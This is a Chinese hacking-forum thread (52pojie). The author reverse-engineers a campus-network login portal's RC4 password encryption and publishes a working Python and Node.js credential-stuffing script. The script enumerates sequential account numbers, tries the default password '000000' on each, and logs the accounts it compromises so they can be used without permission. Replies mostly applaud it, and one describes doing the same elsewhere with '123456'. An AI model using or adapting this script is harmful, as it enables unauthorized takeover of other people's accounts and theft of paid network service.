吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 13787|回复: 218
上一主题 下一主题
收起左侧

[Web逆向] 校园网登陆密码逆向,并实现弱密码账号爆破

    [复制链接]
跳转到指定楼层
楼主
noahfeng 发表于 2023-3-14 18:46 回帖奖励
1.介绍: 在好贵的校园网的驱使下,终于没忍住。上完课没啥事干。(没网憋得)看能不能用校园网的初始密码爆几个账号出来自己用用。


2.然后先是连接上校园网,直接浏览器跳转到了登陆界面


随便整个号登录一下,看一下登录的包



可以看到pwd =密码是经过加密的。还有个auth_tag不知道是什么。但是知道,这都是在前端的js进行加密的。我们也当然使用最简单的方法,直接找到负责加密的js代码,放在本机上运行看看。

下面就直接用pwd和auth_tag在js文件里面找一下了。
F12打开开发者工具,点击网络,筛选js,刷新一下。ctrl+f  搜索一下pwd或者auth_tag,当然是优先搜索auth_tag的。因为它可能在其他包里面的可能很小(能懂吧),出现了那就八九不离十了。
如图这样。

搜索之后,挨个点一下,看看哪些出现auth_tag的文件都是哪一个。这里是都指向了login_new.js

然后右键选择"在来源页面打开"  然后就能看到这个文件的完整代码了。

可以看到pwd也在。然后就是断点调试,像下面这样,把可能的点都打上。


调试之后,顺藤摸瓜,把函数都找出来。最后像下面这样。

[JavaScript] 纯文本查看 复制代码

function do_encrypt_rc4(src, passwd) {
	src = $.trim(src+'');    //这里就是处理一下src两边的空白  如过放在自己的环境里面报错直接不要就行
	passwd = passwd + '';
	var i, j = 0, a = 0, b = 0, c = 0, temp;
	var plen = passwd.length,
		size = src.length;

	var key = Array(256); //int
	var sbox = Array(256); //int
	var output = Array(size); //code of data
	for (i = 0; i < 256; i++) {
		key[i] = passwd.charCodeAt(i % plen);
		sbox[i] = i;
	}
	for (i = 0; i < 256; i++) {
		j = (j + sbox[i] + key[i]) % 256;
		temp = sbox[i];
		sbox[i] = sbox[j];
		sbox[j] = temp;
	}
	for (i = 0; i < size; i++) {
		a = (a + 1) % 256;
		b = (b + sbox[a]) % 256;
		temp = sbox[a];
		sbox[a] = sbox[b];
		sbox[b] = temp;
		c = (sbox[a] + sbox[b]) % 256;
		temp = src.charCodeAt(i) ^ sbox[c];//String.fromCharCode(src.charCodeAt(i) ^ sbox[c]);
		temp = temp.toString(16);
		if (temp.length === 1) {
			temp = '0' + temp;
		} else if (temp.length === 0) {
			temp = '00';
		}
		output[i] = temp;
	}
	return output.join('');
}

var rckey = +(new Date()) + '';     //就是生成一个时间戳
	var pwd = do_encrypt_rc4(pwdVal, rckey);   //这里的do_encry_r4就是加密的函数,断点调试,会跳进去,也贴在自己的程序里就行。  pwdval就是明文密码
	var params = {
		opr: 'pwdLogin', //smsLogin表示短信认证登录,pwdLogin表示密码认证登录
		userName: userVal,
		pwd : pwd,
		auth_tag: rckey,
		rememberPwd: $id("rememberPwd") && $id("rememberPwd").checked ? '1' : '0'
	};


到此就是表单上的两个加密字段逆向结束。

---------------------------------------------------------------分割符-----------------------------------------------------------------
下面就是直接上py代码,用于发送包,爆破密码。
[Python] 纯文本查看 复制代码
#导入包
import requests
import subprocess  #用于和js交互的
import threading
#设置请求头
headers = {
    'Cache-Control': 'no-cache',
    'Connection': 'keep-alive',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Origin': 'http://1.1.1.2',
    'Pragma': 'no-cache',
    'Referer': 'http://1.1.1.2/ac_portal/20230304150257/pc.html?template=20230304150257&tabs=pwd&vlanid=1026&url=http://www.msftconnecttest.com%2fredirect',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
    'X-Requested-With': 'XMLHttpRequest',
}

# 给js传递user的值
def get_phone(phone_num):
    user=str(phone_num)
    result = subprocess.run(['node', 'jiami.js',user], capture_output=True)
    pwd_auth = (result.stdout.decode()).split()   //用于接收js返回的值
    data_str=f"opr=pwdLogin&userName={pwd_auth[0]}&pwd={pwd_auth[1]}&auth_tag={pwd_auth[2]}&rememberPwd=0"   //直接按照字符串传过去,其他格式报错比如json

    #进行请求
    response = requests.post('http://1.1.1.2/ac_portal/login.php', headers=headers, data=data_str)  
    json_text=response.text
    if "'success':true" in json_text:
        with open('pyyhone.txt','a') as f:
            f.write('0'+str(phone_num)+'\n')
        print(json_text)

for user in [一直账号的前几位+后四位变为0]:
    for i in range(1,9999):
        user=user+1
        print(f"正在检测{user}")
        # 创建多个线程
        threads = []
        t = threading.Thread(target=get_phone(user))
        threads.append(t)
        # 启动所有线程
        t.start()
        # 等待所有线程执行完毕
        if i%100==0:
            for t in threads:
                t.join()
    

下面在附上我改过的js代码(为了适应node.js.我电脑上只有node.js环境,和与py代码实现user传递,和pwd以及auth_tag的接收)
[JavaScript] 纯文本查看 复制代码

function do_encrypt_rc4(src, passwd) {
    
	//src = $.trim(src+''); 
	passwd = passwd + '';
	var i, j = 0, a = 0, b = 0, c = 0, temp;
	var plen = passwd.length,
		size = src.length;

	var key = Array(256); //int
	var sbox = Array(256); //int
	var output = Array(size); //code of data
	for (i = 0; i < 256; i++) {
		key[i] = passwd.charCodeAt(i % plen);
		sbox[i] = i;
	}
	for (i = 0; i < 256; i++) {
		j = (j + sbox[i] + key[i]) % 256;
		temp = sbox[i];
		sbox[i] = sbox[j];
		sbox[j] = temp;
	}
	for (i = 0; i < size; i++) {
		a = (a + 1) % 256;
		b = (b + sbox[a]) % 256;
		temp = sbox[a];
		sbox[a] = sbox[b];
		sbox[b] = temp;
		c = (sbox[a] + sbox[b]) % 256;
		temp = src.charCodeAt(i) ^ sbox[c];//String.fromCharCode(src.charCodeAt(i) ^ sbox[c]);
		temp = temp.toString(16);
		if (temp.length === 1) {
			temp = '0' + temp;
		} else if (temp.length === 0) {
			temp = '00';
		}
		output[i] = temp;
	}
	return output.join('');
}

//主代码
var user=process.argv[2];
var password='000000'          //初始弱密码6个0
var rckey = +(new Date()) + '';   //这就是当前时间

var pwd = do_encrypt_rc4(password,rckey); //password= 明文密码 

var params = {
    opr: 'pwdLogin', //smsLogin表示短信认证登录,pwdLogin表示密码认证登录
    userName:user,
    pwd : pwd,
    auth_tag: rckey,
    rememberPwd: 0
};


var data=user+' '+pwd+' '+rckey
process.stdout.write(data);


好了,overover收工!!!!!!

免费评分

参与人数 29吾爱币 +27 热心值 +28 收起 理由
oldfox20042001 + 1 我很赞同!
Shi2002 + 1 + 1 用心讨论,共获提升!
涛之雨 + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
笙若 + 1 + 1 谢谢@Thanks!
WowtqL + 1 我很赞同!
braum666 + 1 + 1 谢谢@Thanks!
Petrovich + 1 谢谢@Thanks!
yyds999 + 1 + 1 感谢分享
zhaoyangdr + 1 + 1 谢谢@Thanks!
1718022432 + 1 + 1 热心回复!
l821523193 + 1 + 1 谢谢@Thanks!
MSz4466 + 1 + 1 我很赞同!
VVovo + 1 + 1 热心回复!
qaz2wsx + 1 + 1 用心讨论,共获提升!
Carry666 + 1 + 1 我很赞同!
shiqi666 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
CasualKeyL233 + 1 用心讨论,共获提升!
qazwert + 1 + 1 谢谢@Thanks!
WinBoard + 1 + 1 谢谢大佬提供思路,野生小白路过&amp;amp;#128525;
cjw666 + 1 + 1 用心讨论,共获提升!
wuyuzhiren + 1 + 1 我很赞同!
yeager567 + 1 热心回复!
yyyao2008 + 1 热心回复!
shenxian66 + 1 + 1 谢谢@Thanks!
lfm333 + 1 + 1 谢谢@Thanks!
LongDayDream + 1 用心讨论,共获提升!
heishehui + 1 我很赞同!
CasperFeehily + 1 我很赞同!厉害厉害
SBKK123456 + 1 + 1 会不会被学校逮住啊哈哈哈

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
Lthero 发表于 2023-3-17 13:48
同学您好,学号报下,我给您加创新学分
推荐
faith9527 发表于 2023-3-15 14:47
头像被屏蔽
推荐
tl;dr 发表于 2023-3-15 07:04
推荐
a33463 发表于 2023-5-19 20:11
我们学校上网账号是学生的学号,默认密码123456,学号都是连续有规律的,直接爆破一大堆不改密码的
推荐
Musiclab 发表于 2024-11-21 09:07
同学您好,学号报下,我给您加创新学分  话说这思路倒是值得借鉴学习的
推荐
Sanba24 发表于 2023-3-21 20:13
逮住了就死了吧
3#
ghost1232123 发表于 2023-3-15 08:08
新手小白路过
4#
superworker2022 发表于 2023-3-15 08:30
马上调试,怕被封IP
5#
mycxr001 发表于 2023-3-15 08:45
看的不是很懂,还是得跟着学习一下
6#
laustar 发表于 2023-3-15 08:46
感谢兄弟分享思路
7#
GGlome 发表于 2023-3-15 08:50

新手小白路过~
8#
dinmo 发表于 2023-3-15 08:51
看看大佬

9#
kongxiaofang 发表于 2023-3-15 09:00
感谢分享~
10#
wfghim 发表于 2023-3-15 09:04

看的不是很懂,还是得跟着学习一下
谢谢大牛分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 01:50

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表